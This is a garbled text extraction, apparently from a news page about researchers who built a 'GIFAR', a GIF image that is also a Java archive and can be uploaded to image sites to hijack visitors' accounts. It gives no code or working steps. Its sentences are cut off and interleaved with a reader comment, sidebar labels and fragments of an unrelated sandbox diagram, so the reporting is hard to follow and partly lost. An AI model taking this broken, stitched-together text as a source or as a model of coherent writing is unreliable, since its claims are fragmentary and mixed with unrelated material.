allow users to upload their own images, the researchers can circumvent
security systems and take over the accounts of Web surfers who use
these sites

“We've been able to come up with a Java applet that for all intents and
purposes is an image.” said John Heasman, vice president of research
at Next Generation Security Software

Comments Related Ltd. RESOURCE ALERTS

Active Comments They call this type of file a GIFAR, a to receive Spam, Malware and

contraction of GIF (graphics interchange Vulnerabilities Resource Alerts

& Anonymous says: What format) and JAR (Java Archive), the two

happens if the site that file types that are mixed. At Black Hat,
accepts the GIFAR the researchers will show attendees

resizes and resaves the how to create the GIFAR but omit a few

Webcasts
4
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Hard disk (no sandbox)
Hard disk (with sandbox)

L
e
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=
=
m
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Programs

wenw, sandboxie.com
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